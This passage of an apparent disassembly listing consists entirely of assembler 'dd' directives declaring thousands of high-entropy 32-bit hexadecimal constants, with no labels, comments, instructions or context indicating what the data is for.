		dd 0D7278FCCh, 8F540D25h, 78E77C3Fh, 46400BA1h,	0DF0FF8B6h
		dd 0BB727CCAh, 498B93Ah, 9A2CA3F6h, 83E80AF0h, 492AAF0Dh
		dd 48EC3856h, 688FF5Ch,	95130C3Eh, 958FE1A7h, 0A43F7629h
		dd 0D3464DFEh, 29E366CFh, 4A097607h, 0C1CBE351h, 47529CFAh
		dd 8B89BE9Dh, 45C1547Ah, 0ECE0AF53h, 0A2ACCEBEh, 0E7B7D587h
		dd 1B913ACh, 0DFFB0C92h, 6251686Eh, 9A4A0D8Bh, 0DE2688F2h
		dd 30D98913h, 40464F9Ah, 0F4A3E7A0h, 0F3555C96h, 8F9DEE4Dh
		dd 95EC71C2h, 1D519AA2h, 990B7600h, 0F0F56323h,	3BEA0BDDh
		dd 0E74757Eh, 192FE230h, 90C07ADEh, 319644A7h, 107EE4DAh
		dd 68615092h, 448DB2A3h, 7EFE30EBh, 85DA66A7h, 99CF1263h
		dd 0FF696139h, 2EDDFB0Eh, 0A0936F73h, 74F80BC8h, 0ED56A7C6h
		dd 5686028Eh, 0C386F7B7h, 0E05500FAh, 6AA40A69h, 0E3F9F5C0h
		dd 0F14F89F8h, 382BEE64h, 0EEDE8341h, 0AAD9F3A7h, 6E5C2D99h
		dd 0DC571974h, 5168EAC7h, 3D5E1374h, 0DCB88033h, 72BE2411h
		dd 23D5CEEDh, 0C02C4A6Eh, 0E556B5E0h, 0DAF5FEF3h, 0C3D1CF39h
		dd 2C6D8ECCh, 3F23C094h, 56F4CE2h, 12B8B3A6h, 873E20B1h
		dd 42F472E9h, 746E78A5h, 0BB7C59CCh, 4CA1847Bh,	0CF5430BDh
		dd 88C33C88h, 0D0BB9A2h, 0A363AFA9h, 854FB0FCh,	6757A6h
		dd 60D51D2h, 33E90BEh, 0B3D5A742h, 0CE0AF5F0h, 0A21073EFh
		dd 0E759D7D7h, 8133902Eh, 12FE97FFh, 0DB1CDE54h, 0B3C8CC48h
		dd 1C51E3FFh, 777193BFh, 0D5A25A4Ah, 0CC93B53h,	0AB2E6B73h
		dd 75AB4F74h, 32138DB1h, 5CC87A8Ah, 0D0B88B0Eh,	5271F0FDh
		dd 4F565767h, 7F1FF08Bh, 138E4020h, 390CFE18h, 62F53CF4h
		dd 9489CBE8h, 0F2345AECh, 332C422Fh, 9DE598CCh,	0A97ADFE0h
		dd 797DAB0Fh, 6678CD87h, 0B308B85h, 549741D4h, 0E52873BEh
		dd 0C97323B3h, 7A39B317h, 0FE9A68FBh, 7F6022A2h, 9D049686h
		dd 55184F96h, 724F98D9h, 85AD20F3h, 53E9BA2h, 0DE45B779h
		dd 0FB8ED158h, 3AEC1011h, 71FDE291h, 0B99E9208h, 0CE5622DCh
		dd 0D4946A9Ch, 5E91BA2Fh, 1A0B4608h, 58ECBDEh, 0E016D5A9h
		dd 6A009B2h, 5E9AE3FDh,	2138EB4Eh, 53CC480Eh, 0BD588C31h
		dd 952831F8h, 0C3C57380h, 0CC869483h, 0C3F4365Fh, 9586C6ACh
		dd 0D7D8A818h, 0EB83B07Ah, 21E94574h, 0E0505140h, 3248F6D5h
		dd 34C57C27h, 0A396C6BFh, 6615F2ABh, 67E71667h,	181C9507h
		dd 26B07DD5h, 6DA73B5Dh, 844AE2DFh, 328C0358h, 99105035h
		dd 0F0668869h, 3585BE3h, 2DB8C04Bh, 0FF1E74AEh,	0D34B6556h
		dd 5BE3B699h, 96C79C8Ah, 0A50A2A99h, 68342DDAh,	997E3CDDh
		dd 0C45047F8h, 159CC039h, 0CA55716Ah, 0B2E37550h, 3CE6763Ah
		dd 0BE091A08h, 89B5756Ch, 27E763AFh, 560AC75Ah,	0A2CDEA0Fh
		dd 4D055618h, 294D09D6h, 0CDB8F266h, 73C9F132h,	0A6AB8379h
		dd 923B0E2Fh, 0E16DE8D8h, 0BFE65AA3h, 0D8D4F206h, 83C98DE3h
		dd 7070484Ch, 0E396433Bh, 9AD7B7FCh, 0C3B36F3Ch, 0D9E8F447h
		dd 5CD9D511h, 0F2FF93FEh, 79CB703Ch, 9B5935EBh,	3F9A9503h
		dd 0C0499BE8h, 0F2934F40h, 3B464A31h, 0CC175880h, 3175B844h
		dd 0B708B136h, 4CC4D7B0h, 3F6BF9B3h, 64D4387Ch,	2B182AF0h
		dd 0DC58874Dh, 86D9680Ah, 78147DBh, 710786F9h, 84969E38h
		dd 0E83631E1h, 0A088365Ah, 0F9D01402h, 3B4A365Bh, 0B6987E6Dh
		dd 2CF58451h, 0E9CBBC15h, 0A2D3621Eh, 0E521A7A4h, 0FF5A6596h
		dd 0B32F65E4h, 0DC8B6AB7h, 2B1B2A90h, 62C74D1Dh, 0FC1C70CFh
		dd 72D1842Ah, 0FBA6B6FAh, 0A642EFC9h, 0BB56F4FAh, 62540E35h
		dd 0FCFCBFC8h, 0CEB590E3h, 0BBF503B8h, 40BC1574h, 0F13E1D6Ah
		dd 177FCCDCh, 0ACDA5F70h, 7E37C20Bh, 785B34C5h,	0E5A72826h
		dd 0BC910103h, 31F2107Bh, 3A6624FEh, 36951B53h,	0CD672D66h
		dd 0B8EA518Ah, 8AE3CE30h, 0DB9922F4h, 6A573566h, 28DC74F2h
		dd 2D154C12h, 175BBDA3h, 29A8FFCFh, 5601C509h, 5A438345h
		dd 7653AD7Dh, 0F005C83Ch, 0D9DFC2E2h, 0A4E4017Eh, 0F9C3C689h
		dd 4235EDF3h, 0DEC64B45h, 2B13005Bh, 55A6C8D2h,	1915ACB1h
		dd 2D0B1C27h, 0B08CA6BEh
		dd 0BEFC5415h, 33BA8834h, 2E1167A7h, 8E12FA10h,	9A9F280Ch
		dd 0D7A6C3FDh, 7296BAB9h, 3E6152E1h, 0A578A3EBh, 0CDAB881Bh
		dd 2424C0B2h, 0EFFC3676h, 54CA9495h, 5FCE4BCBh,	13E766A7h
		dd 8D8B801Ch, 6BE8091Fh, 1C68695Ah, 0F3EC237Fh,	4366C3E9h
		dd 0B56DBD15h, 6146A700h, 0FD1C2C3h, 363D2C3Ch,	1EEE31ECh
		dd 0F0DC6Eh, 7ECA52F7h,	2EBC7B02h, 0A4740FC4h, 7B7496C1h
		dd 0B88993Ch, 20657DADh, 0C79B2D5Dh, 8E77BD08h,	0DE8A9771h
		dd 0FB804F9Dh, 177D1226h, 9181E5B7h, 1B9FBAF0h,	30704AF0h
		dd 1E62028Dh, 0C7E4E2ECh, 0EBA39E37h, 6F79C345h, 3D75100Fh
		dd 0BDEBA518h, 0AD4C46E0h, 0B4AE7892h, 85265ECFh, 0A7E352AEh
		dd 16EB7B07h, 63DD0EC9h, 5362B5EDh, 0C3C6B724h,	5DC49628h
		dd 0D608B1C1h, 7ECDDB19h, 4D97FB6Bh, 0D05FC9D7h, 55550755h
		dd 61D9CD4Eh, 0DACC496Eh, 0B2E172A1h, 37C22039h, 16A42C58h
		dd 6B06DB19h, 4736E4BEh, 0D81D5F29h, 0E591CDA3h, 600968Bh
		dd 76C137BAh, 0DD82340Ah, 45ADBD4Dh, 0B631DF6Ch, 66CCF57h
		dd 3F091641h, 0C1F55446h, 92355726h, 0C65B8D1Eh, 4D90C046h
		dd 1D5A58BCh, 0C640FBC4h, 0E9EC1264h, 2300A10h,	6C81670Ch
		dd 0ED0FF4B1h, 0F5BD7E02h, 731CF94Ah, 1B33FCCEh, 0C2AFE336h
		dd 7E26C8DAh, 21989C1Dh, 0E4816A06h, 0A124EBA2h, 242D439Dh
		dd 1EC0B39Ch, 29D48BC2h, 0BD136CD3h, 18421B7Fh,	8F6581C4h
		dd 56B746FEh, 0FE43D449h, 0E5E047D5h, 1F7DECE6h, 96CE2DEBh
		dd 54DED5A8h, 1F72B0DDh, 0FEC94C03h, 820068A9h,	0B45A5387h
		dd 3C692E2Bh, 5E983BABh, 0D1AD9B8Ch, 4D6FECD6h,	4A27BF5Ah
		dd 13D8CA76h, 52153h, 0A3AA2F44h, 51D18EAEh, 0B431664Bh
		dd 42CC11EAh, 0DE082046h, 61913F91h, 0E04F027Ah, 19B22334h
		dd 0D738C32Ah, 524346F8h, 6C2B6052h, 6A10FD85h,	0CC5721C5h
		dd 83091721h, 0DBCC74DEh, 51557228h, 2C569700h,	0E7F4A337h
		dd 0CEF97B60h, 12425F82h, 1BDE18E6h, 80C9EFEBh,	876AB87Dh
		dd 613DAC4Eh, 4C44F077h, 486E5CD2h, 979B52BEh, 67B016CAh
		dd 91CE3FE7h, 0EF5A2BB1h, 1B30C6B1h, 0AB243FB6h, 671B07Bh
		dd 0B93CDFA2h, 83CA5BABh, 0A84622F7h, 796EA126h, 5821A19Dh
		dd 7A85D019h, 6650424Eh, 9847A50Dh, 1A934F1Eh, 6FE4023Bh
		dd 0FB5D69FDh, 80FA7586h, 7F18C52Ch, 0CEFF2E82h, 0E6F3D2h
		dd 26D8733Ch, 0A531DD1Fh, 213F7A27h, 0C8F11257h, 45FC03A9h
		dd 0AABEE024h, 719EA136h, 3A283AEDh, 69BC37FDh,	7631CDB7h
		dd 0B900A062h, 70ED87ABh, 0E294513Dh, 0FD527554h, 0FAF84295h
		dd 0FC7337DEh, 594ADA20h, 1E1FDFF6h, 0B03604A6h, 0D0F85855h
		dd 0BDE18175h, 5DE97D62h, 4F13396Fh, 895C785Ch,	3AE82E8Dh
		dd 7DF42318h, 0DA5FB2F8h, 5423A7D2h, 0CB918E94h, 1A3DB44Ch
		dd 0C7EEE9B5h, 6F5F205Ch, 0B578A76Ah, 0E086AD0Ch, 0E7EA5CDBh
		dd 0ACABF171h, 5B9B2EB5h, 816B7778h, 48D4D19Bh,	8EFC0B21h
		dd 8D7B79EAh, 5814160Ah, 0B0729312h, 963286B2h,	0EB402FF2h
		dd 920DBDAEh, 0AAFF3CBh, 84474B49h, 0D9943567h,	0AB723987h
		dd 8439A03h, 303D8738h,	0BA3F1EB5h, 4D9F2127h, 44D80AFDh
		dd 0D7A4C94Ah, 2B7AE0F8h, 0D63926ACh, 3B5F6389h, 302D7472h
		dd 637E089Eh, 813DA78Eh, 195426B1h, 8FEA9C68h, 0D955A5ACh
		dd 6601BFDAh, 21AC82A6h, 703EAC04h, 5FDDA69h, 344C050Ah
		dd 0FBB233CEh, 5DBEA50Bh, 2CBB8B28h, 0CC96BE51h, 0D58C779Eh
		dd 4AD92C72h, 8DE9039Bh, 6F6E6B3h, 3EF421B2h, 0F98F70BDh
		dd 48499649h, 76120629h, 748C2BA1h, 0E8A741A6h,	0DD57C089h
		dd 66426312h, 1EA6231Dh, 0D0C6070h, 0AF299099h,	5E2E8310h
		dd 0EE49540Bh, 4ABA7E2h, 0A7154DFEh, 42FA66B7h,	0BA492C95h
		dd 5F25E6F8h, 9FE6B2FAh, 0E9E557F1h, 5606C68Dh,	14C78BA3h
		dd 895CE85Eh, 0B29DB024h, 6C43BF0Fh, 65154553h,	0EF0672F8h
		dd 0DDB4B490h, 330A006Bh, 4D8C1AAFh, 47353199h,	5EE47220h
		dd 6F21FE00h, 9C4ACEE9h, 0E0091FE1h, 3E33F5F1h,	3B492C2Fh
		dd 58DC1530h, 67D34B02h, 0B1AD20DCh, 964F14ACh,	65BC81E9h
		dd 78B1FD7Fh, 0ABA178DFh, 0FB475DAAh, 0D8D23560h, 34BC51C5h
		dd 0E073603Dh, 0C4DB9565h, 26B8B882h, 5B96098Ch, 75A1EE0Fh
		dd 69BB3A5Ah, 0F52DA830h, 0FBA843BFh, 2FADC1BBh, 0F40EA5D5h
		dd 58AB9B7Ch, 0D9EFB21Fh, 0BB840ED6h, 128C05C9h, 733E6AB7h
		dd 5EC22239h, 0D1AC2B4Ah, 74151404h, 0FD0F4483h, 2ED9659h
		dd 7D490BD8h, 0C52BC9DCh, 0B9342D42h, 0AFD1E09Dh, 0EF6DFDE8h
		dd 29381F59h, 0C235735Eh, 309BB38Dh, 3AC4FC40h,	0C7FE2E4Dh
		dd 56D86F54h, 0DB731622h, 4AE45974h, 272397DDh,	76336452h
		dd 6879B490h, 0B5150520h, 40A413FDh, 0BA57E228h, 4BE8CCE3h
		dd 5553E891h, 0F3674C63h, 1795A70Eh, 0D7446139h, 0FCEEB70Fh
		dd 7B64EBC9h, 0D01EFFFCh, 0E4AACAB7h, 7BA73D55h, 0F5BC2967h
		dd 92829E35h, 39CE29BCh, 0C8E60155h, 0EE2C1AF9h, 0B4C859DAh
		dd 510801DAh, 7E5CD5DFh, 0A50EADC3h, 30A0FA15h,	373C1589h
		dd 0BFA2A7BEh, 0FB214113h, 81142987h, 72045D89h, 6DADF99Fh
		dd 0BA341582h, 58DEC3CBh, 9D1717F1h, 2F8ACB15h,	55987E0Eh
		dd 3BCA2735h, 6D31645Bh, 1D92AF4Eh, 0BD2D896Eh,	8C462C5Ah
		dd 0C511543Eh, 0C07C0B54h, 618F1534h, 67A017C6h, 0A29CE1Eh
		dd 0D4361D32h, 0A03D4792h, 83F5371Ch, 9EA75A8Dh, 0C4251A4Bh
		dd 0F3AE3E93h, 4F46E6F2h, 14DBFE1h, 26397FF6h, 3DC38516h
		dd 0ED7E24D5h, 396C1C4Ch, 0A69CFB7Fh, 7C40C002h, 0C6777AE6h
		dd 5142AB16h, 39219B2h,	1C73D87Ah, 0EC37E4B5h, 0D6A1C76Ch
		dd 0FDB6DE64h, 0C6B714CEh, 314B94BCh, 0DFC85260h, 78597F3Eh
		dd 99AC98Ch, 80A7AA19h,	2BC26D73h, 73DC599Eh, 71BE9BBBh
		dd 5E0035A9h, 435B3F2Ch, 8402A058h, 76EC8996h, 0A146D636h
		dd 904CC740h, 0A32D9638h, 26894B9Dh, 6E58923Dh,	0CF724361h
		dd 8B94B6A4h, 77CB40C2h, 1F74B674h, 5174CA6Eh, 38963798h
		dd 0A63CF2E9h, 0A0F329E4h, 40BB8C98h, 12C76772h, 0CAC78F39h
		dd 6FCC98FBh, 4E031A7Fh, 60463EAFh, 7864AA4Dh, 976DE8EBh
		dd 49E5215Ah, 3BF4CFE0h, 0D12D95D4h, 0BCE3065Fh, 0FB715F50h
		dd 9FAFD8FFh, 7D5B4844h, 9D3B68D7h, 0C5A1AE90h,	427B806Fh
		dd 0A1EC677Dh, 0EB56D6FDh, 982FAA5Fh, 0A510840Ch, 0FA47E934h
		dd 6693DFA0h, 6768965h,	0F4C4094Eh, 885E3C82h, 0B805E348h
		dd 0FC29E90Dh, 75C04A88h, 388D0CEEh, 0DC2AB84h,	0C4E950A1h
		dd 0D0CC38CEh, 0C6BD089Ah, 2ED10D52h, 0F9A9D7FFh, 0B1845119h
		dd 5A87AB97h, 0F60BEA40h, 91A20EADh, 0C91464E1h, 4A7AE65Eh
		dd 0C7CF57D8h, 0E8263964h, 77D10934h, 15D29800h, 113EDB5Eh
		dd 0B53901FCh, 0CBB75930h, 0D84B7619h, 6CCA734Ah, 0CB779B2Bh
		dd 8FA8F963h, 91AEA64h,	8BCE5E1h, 9CD56CDCh, 0E7B7DDB1h
		dd 151D33FBh, 0FCD6A001h, 40B688F8h, 45821D37h,	1631E036h
		dd 0D64CC755h, 160713BAh, 3B522BF9h, 6A9D2C79h,	0E6A1AD34h
		dd 4C9A3D4Ah, 5D374284h, 0E6ED9F10h, 14F26797h,	0B88EAD63h
		dd 665A65D7h, 672F80B4h, 0D225566Ch, 0B20276FFh, 7808C68h
		dd 9492F643h, 37056186h, 9BABBA46h, 0F1011764h,	60326900h
		dd 0C3F5648Ah, 75C587BDh, 0F47933D8h, 0CDE4BC3Fh, 9053ED48h
		dd 579E356Fh, 9F436452h, 7E8E0DBDh, 8815E81Fh, 38EDEECFh
		dd 5CBE9CD5h, 0DF380A9Dh
		dd 564848C6h, 0DD6B786Bh, 0DA8C6D91h, 0E74F43C2h, 0D9440B55h
		dd 0D3F879Ah, 9478AF49h, 822B61EEh, 0F2669279h,	22FF30EFh
		dd 98230493h, 0E5607654h, 0D3F70A86h, 23F0AA02h, 0AE4C0502h
		dd 0C82F5624h, 0C7D93ADBh, 8EBAA599h, 0C98FFDAFh, 0A7020D5Bh
		dd 63FF4B38h, 7225E861h, 4A9B12Dh, 0FEF4AEAEh, 2851191h
		dd 0D46CA62Ah, 56DF4AB1h, 27531D38h, 0E79CFFD9h, 40938731h
		dd 172683CBh, 0EAE0D629h, 0C554CD9Ch, 0E4051CE3h, 448297DDh
		dd 7253EB08h, 71AC210Dh, 0D8902F45h, 0DD106681h, 28C9E634h
		dd 89105050h, 0ACB0D425h, 68EA45F6h, 447AD3EAh,	0D2D44484h
		dd 0B3CC3417h, 0C5037EBBh, 729D05CCh, 0D37FF708h, 59539FBDh
		dd 476C26FEh, 0B9B50D0h, 45BC8BEEh, 6FAC443Ch, 2F8F8F71h
		dd 0B508A85Fh, 7C698A9h, 0F31706E4h, 1A49B0A8h,	8761B381h
		dd 0E3DA2DF4h, 6715D23Fh, 0A983FA60h, 62BE12F6h, 0BB75FFF8h
		dd 0B68B9A99h, 277ABF29h, 0B2A27C9h, 5AECF98Fh,	0F6B98340h
		dd 49CC06C9h, 0D56AB86Ah, 6555A462h, 0D2CF922h,	0DF08E7A2h
		dd 469BB892h, 0E13648DEh, 0AF992B1Bh, 216DD7D8h, 9A43E235h
		dd 3ACEF6FEh, 9C50A681h, 841F8D80h, 557114B1h, 24D3963Bh
		dd 6AB79AA9h, 1712E044h, 2F3BC4B1h, 0DF04CD14h,	823B572Ch
		dd 0CCD4F2B4h, 0F03D120h, 3B0F5F68h, 0C954984Eh, 0FAF30457h
		dd 5A73B64h, 52DBFBB5h,	5C3EE78Bh, 0F1ECC1D5h, 9E5A1908h
		dd 0EF9A4173h, 57D31954h, 790CF570h, 7281D957h,	0AF75ECDAh
		dd 0EEA6D3Bh, 7A80A74h,	0EFC97BBEh, 3F8953BEh, 71AF34Ah
		dd 0FC8ADB7Eh, 24215803h, 5D3DC232h, 612773CBh,	535CE5C6h
		dd 0BD0C4CECh, 0D829DF27h, 4EBB457Dh, 23852CCFh, 9EA4B7A2h
		dd 10E37999h, 0DE0ADDBDh, 0FD97DE48h, 0BF02E7F9h, 0BD167B29h
		dd 1B41B2E6h, 65B2FC84h, 9C41F93h, 391E3469h, 0BD0DB5B0h
		dd 8FE7EF8Bh, 8AA73BD5h, 0D6AF660Ch, 0B827C1B8h, 405C2113h
		dd 55A59CCh, 6B70C88h, 9F49FA4Dh, 3BBFAA21h, 7713E383h
		dd 40D0157Fh, 130CC3EFh, 52325FE9h, 7365BA2Dh, 0AC01ECB2h
		dd 0E3413395h, 350E5658h, 25E3AA0Fh, 0F6C6AA71h, 73F315F5h
		dd 5479E3EDh, 0B9DA3EF9h, 16C3D1A0h, 6A07FB4Dh,	4F7AB0C0h
		dd 403BCBD3h, 0CB771E81h, 6F6F6B97h, 4D681B8Fh,	3C490FE8h
		dd 0F68CCA9Fh, 70F30Bh,	395BB68Bh, 0B4C302F6h, 0E8A3A808h
		dd 99A28A5Fh, 0D71D3DF6h, 7C5D8287h, 0A35ECBFAh, 19FC474Fh
		dd 0E2F729F3h, 81741052h, 21EEC5BFh, 2694D19Fh,	4F25D3C8h
		dd 0C8B2551Dh, 4EDAAD68h, 23E3C5B1h, 0CECB7630h, 63A89BD5h
		dd 61C77C39h, 8C320DDFh, 0B12544B9h, 2003AF7Bh,	0D80CD627h
		dd 0C81AD241h, 0AB5ABDDEh, 754D564Eh, 4E7DF779h, 0CA6E03D4h
		dd 0FEB4F029h, 3F74115Eh, 1E67FAEh, 619B8C26h, 9C89DF0Eh
		dd 0C9420890h, 524C8584h, 0B272D40Eh, 4FB33CDDh, 0F6FD1E61h
		dd 402C98Fh, 8D3BADFh, 1347951Bh, 0E836EF5Eh, 0F1C4844Ch
		dd 5B4BC8DCh, 939A98A9h, 75C49CB8h, 0FBB4C08h, 0EAC15B8Dh
		dd 7A3238C6h, 702D89CFh, 84F35764h, 0E40467AEh,	0E9ED924h
		dd 0E48A6908h, 69EDC855h, 7C0C56C1h, 8AC97120h,	5C15AFFBh
		dd 411F4A0h, 0DB0AE3BAh, 9C0E0347h, 847B82CBh, 50467E90h
		dd 97C441CFh, 2439BE07h, 540FA487h, 0C14F77A6h,	60E0475h
		dd 5F176DC9h, 769DBC2h,	9DA3D711h, 0BB127861h, 6B9D753Ah
		dd 2514C3F6h, 0C0345B7Ch, 3BF9C8E6h, 3D0F294h, 0B5F41EDDh
		dd 0CEA71296h, 3FDD4717h, 2DEB6969h, 1D40F143h,	5CE72411h
		dd 3E4EE9F7h, 22BFB1CCh, 0EE303FDFh, 0BBE9F685h, 2B096B64h
		dd 70966869h, 42F59468h, 3E5BBCD7h, 62E5F27Fh, 1A7C6DDDh
		dd 8F5A88E1h, 390E1D8Dh, 7B3C9AFFh, 0A5072FF9h,	26FA95C4h
		dd 503B9975h, 0F70BE1F7h, 284BB6CAh, 61AB63CAh,	7CB31EA0h
		dd 0FD5433A2h, 43B0070Dh, 0D8620D27h, 0AAABC9Fh, 0BA10DF7Dh
		dd 63AACEBDh, 0B8724D08h, 80EEA1CCh, 4A11AA39h,	0BF83866Eh
		dd 40E7BD17h, 0B0E21DEFh, 0E8D0E8E7h, 97C977C7h, 31D73636h
		dd 0E3C237FFh, 45263D95h, 723535ACh, 19022B51h,	0DC948A30h
		dd 4A0EA363h, 7190F0EFh, 7EFBEF17h, 941B5FA4h, 5E879879h
		dd 4B45889Fh, 0A5F54D3Ah, 0C1EEEEA7h, 8C445A64h, 0B97C943Eh
		dd 0C7DE638Eh, 0A99FC050h, 2CBD0568h, 0B4E65771h, 0B1E34955h
		dd 448F1C83h, 2051C6A7h, 5BBC028Dh, 0B6155C3Dh,	0F4F36FE9h
		dd 18F6CA06h, 2AEF3983h, 0D29C1035h, 0FE004BF5h, 2155F777h
		dd 0C368C31Ch, 0EEA3BC55h, 2810C29h, 0F83BD5F9h, 0B9A65D64h
		dd 0A1493390h, 383BCB1Ch, 0BDA393E5h, 0BB59EBEAh, 64804BF3h
		dd 12E1E439h, 586589A1h, 3E8B36BBh, 7424BF69h, 14FF0A79h
		dd 2DE23778h, 69072F5Ch, 0BB72A4D9h, 0EA0F8977h, 0DF6DB15Fh
		dd 0BCEA0546h, 44826CA2h, 0E8E2F1F0h, 0F122AD1Fh, 0E17C1E72h
		dd 0F31AA5AFh, 8F36A423h, 57AA7CAAh, 6C522A48h,	1CECE31h
		dd 0BBDE604Bh, 76CD7735h, 0A7B58B89h, 5AF2B070h, 858BDEA3h
		dd 0D145C4D0h, 8BC2F30h, 3DE4216h, 782AF25h, 87269ECFh
		dd 0B7013264h, 0C7AB4B62h, 77C7EA5Fh, 0EE574F97h, 0D84EA10Ch
		dd 0A0AE1953h, 114EC911h, 0C9E24A73h, 964A11ECh, 441888DFh
		dd 45C0C784h, 0B66EBEDCh, 986AC724h, 7195CE78h,	0FD99910Fh
		dd 0A378D25h, 1DF6DFCBh, 45A980B7h, 57E7FDB0h, 0BE21144Fh
		dd 0BAEB6AFCh, 444324FBh, 9F57D35Bh, 0A059CE83h, 0C34395FBh
		dd 7D91B364h, 0ADB676B9h, 4F66BA59h, 0F87C1718h, 0C5AC83B4h
		dd 3F12950Dh, 0B193529Dh, 144E12E0h, 0CCEF4B6h,	9B8B9DEh
		dd 0DAF86B17h, 7E2A5A4Dh, 4A2D2322h, 0AB275AA8h, 0C9EC8A91h
		dd 0A318C7Ch, 0DCCAB9A3h, 0EB2086F6h, 8D8F27EDh, 9B0AB655h
		dd 7473693Bh, 7C2AF270h, 6D87E984h, 46D029C9h, 0DB980F58h
		dd 0CF3BD06Fh, 78D32627h, 0A7937901h, 6647A82h,	52F7AE49h
		dd 0DEED106Fh, 23110179h, 0ACEA1D1Dh, 0E5451AB6h, 2A1A3715h
		dd 6BE5663Ch, 8608A1CDh, 36BBB331h, 0E855CC72h,	7CD7DBC1h
		dd 6FADE2CEh, 0F1348334h, 23AAB686h, 0DF64C76h,	0ECFF192Eh
		dd 28B8F471h, 0ADEEA1EFh, 0D9DE102Fh, 6AD8D53h,	0D2C9326Fh
		dd 0CD088DB6h, 85BC17C3h, 0EE76E2B4h, 0F75A9F02h, 0B1BBBCF8h
		dd 9B4E6043h, 378266D9h, 42F878BCh, 32E1FDFEh, 390DBE4Ch
		dd 64F91C0Bh, 0C362745Ah, 8BC56096h, 0F06C1709h, 18133F54h
		dd 716825F3h, 56DF35AEh, 0F6EBE028h, 27145162h,	0A5F927F9h
		dd 0D6AA7344h, 1A7C042Eh, 4C184948h, 9E3B4293h,	4C5E9E13h
		dd 5167B91Ah, 2AAE574h,	54018BCEh, 0ACE7CE25h, 18F11CDAh
		dd 40FD4A88h, 0E1BF828Bh, 0ABABEE2h, 3356CBB8h,	1706D729h
		dd 5FC734D6h, 0CC192B93h, 34460C1Ch, 91CCA046h,	0C41BE0FDh
		dd 2BA7E615h, 6E06CFC5h, 442806F9h, 0ACDC342Ah,	0C0B36078h
		dd 84CC9C87h, 0DA71589h, 65065849h, 9E301EB0h, 27836ECAh
		dd 8F2D1DFBh, 9F861EF2h, 0DFC388F7h, 563611D1h,	383ED3FBh
		dd 0CD473A14h, 0C221628Ch, 0E6A3F293h, 76E80C94h, 0BBE68FF2h
		dd 0C3E53900h, 1CE075F2h, 0F6AE1758h, 6AFA8E4h,	6D5CE94Ch
		dd 0B98D782Ch, 0BEB3245Ch, 0D22A8E91h, 595F883Bh, 949037CDh
		dd 6A135681h, 0F2B91B85h, 8472C8B6h, 85F980F6h,	0FA793013h
		dd 631FC3CBh, 0F0F9EBF7h, 0DBB9CDFDh, 701B5598h, 4AE1BDEAh
		dd 2D14B80Eh, 81EA6F2Ah, 0A67260ADh, 0D8D7C7BEh, 9D3BE073h
		dd 5FA1A3E4h, 0F09A7F4Eh
		dd 0BBC58BEAh, 4ED51498h, 0E54980EAh, 65A2DA94h, 5EBF5544h
		dd 798B25FBh, 7AB303Eh,	6DCF24ABh, 0CDEB3B9Dh, 674FEC5Bh
		dd 52E4C2Fh, 7750940Fh,	0F34CD80h, 3CA459FCh, 924E4446h
		dd 0EB7D5B1Eh, 30BAAC0Bh, 24D60F2Eh, 37D2897Bh,	0BD317457h
		dd 7AD89B7Eh, 0A2AB6F04h, 0A7806857h, 0DE58D5ABh, 9609D1AEh
		dd 0D3996BB5h, 0CD972549h, 74C10A1Ah, 0B888A7B1h, 16AE9BDFh
		dd 0DE0BEC7Ah, 7CEEF339h, 9F5A3C41h, 0CC477A12h, 0BD891E6Ah
		dd 2211DC1Ch, 8ABAF334h, 0FDCD0E52h, 65E130B1h,	8CFACB42h
		dd 6358B659h, 6E030867h, 495788D5h, 33A6EB34h, 0B7C72009h
		dd 88778AD8h, 0F4C01A59h, 4888EA69h, 0A24C759h,	3EE3C10Eh
		dd 34D1A11h, 0D129CC8Dh, 90516B81h, 7299C19Dh, 58133762h
		dd 0BDAAD0AAh, 978E6E5Ah, 297762C6h, 245EFB3h, 0DA6D6429h
		dd 0C0EFB197h, 79F45D60h, 6884D80Eh, 751F3413h,	0B095D6BEh
		dd 3A7517E8h, 0A84577D6h, 0B57E9893h, 0BA07A41Bh, 0EFE9E1E5h
		dd 94244716h, 33CDBBA9h, 0D056D2BAh, 53C85D4Ah,	739ADAABh
		dd 0F66A1132h, 5AD0C84Fh, 35F38779h, 347CAAEAh,	25773A30h
		dd 751134CFh, 0AFC0EB47h, 4B39A40Ch, 1516316Dh,	4D0B23E8h
		dd 0F9C7E08Dh, 57BCDC88h, 5ED0A3C3h, 0B39C527Ch, 72D1B3B5h
		dd 2F63C4BEh, 726798D6h, 0D4EB9D44h, 337DB217h,	76D82BA0h
		dd 0B1F37D8Dh, 57A1D5F2h, 0C649EB41h, 0EB71A61Dh, 81B43FD0h
		dd 2F3AA1DAh, 0D5FE693Bh, 0D0D1CAD9h, 0AF5FB125h, 3EE0F193h
		dd 93A37B0Ch, 3A4813A7h, 22169577h, 74BA25A2h, 0F5730A8Bh
		dd 436E5ACAh, 0EF8EF50h, 8149CBCh, 72D84E4Ah, 4DDF2299h
		dd 92F46C53h, 1867D05Ch, 2A937EDBh, 0E6DC9E2Dh,	81B6A1F3h
		dd 840AE690h, 9BDDD6CCh, 3AD08134h, 0AED158DCh,	6C7A51BBh
		dd 60729CE6h, 66FF1D4Eh, 9BFC436h, 61361D9h, 2924893Ch
		dd 25A56E07h, 572AA9F1h, 0FA760ACh, 0FB9C2457h,	3EB5C9CFh
		dd 1F22C1CBh, 79BC3211h, 393F30ABh, 6BBA5378h, 1FC0A338h
		dd 0D67C95A2h, 1171798Fh, 0C815C4E5h, 9C734E89h, 0BAE583E6h
		dd 4182755Bh, 0E7AA2869h, 0D19C3984h, 0B6E66419h, 0BA4855F0h
		dd 1A7D207Bh, 0EB6C7540h, 9E7711BAh, 175ACE39h,	38CDFAF1h
		dd 0CD88B905h, 7F2AE729h, 2C14D295h, 925836B6h,	4644F907h
		dd 2B7AA5D2h, 9EC7E218h, 1DEB8BCBh, 5F5B3BE2h, 0D0D74ADEh
		dd 0AAA02F16h, 163F1620h, 8D0DF405h, 3F27B563h,	0D336106Eh
		dd 0B537E54Bh, 0EB8E6C85h, 0C7969D6Ch, 14641DA2h, 13FF39A0h
		dd 0F4B26DECh, 0BBE95894h, 0A0132906h, 0D6C266DBh, 9592453Eh
		dd 5E62AC14h, 0BE41E7EBh, 0D9B26F4Dh, 8B211F10h, 1899DF45h
		dd 70BBD0D2h, 8E0C2E0Fh, 1E9B57E2h, 6096A242h, 5457695Bh
		dd 83F373B2h, 0B366A12Eh, 40858E78h, 10D12021h,	0A0D72747h
		dd 28B7E9AEh, 0E4D5CC0h, 3B8B15B1h, 610E82F2h, 36DB1F90h
		dd 0D9F921F4h, 0B48B45DBh, 0BAC9F20Ch, 0E81EC17h, 50FEB6CFh
		dd 96636F49h, 302EAA03h, 14F357FDh, 17313196h, 5A8F6DC8h
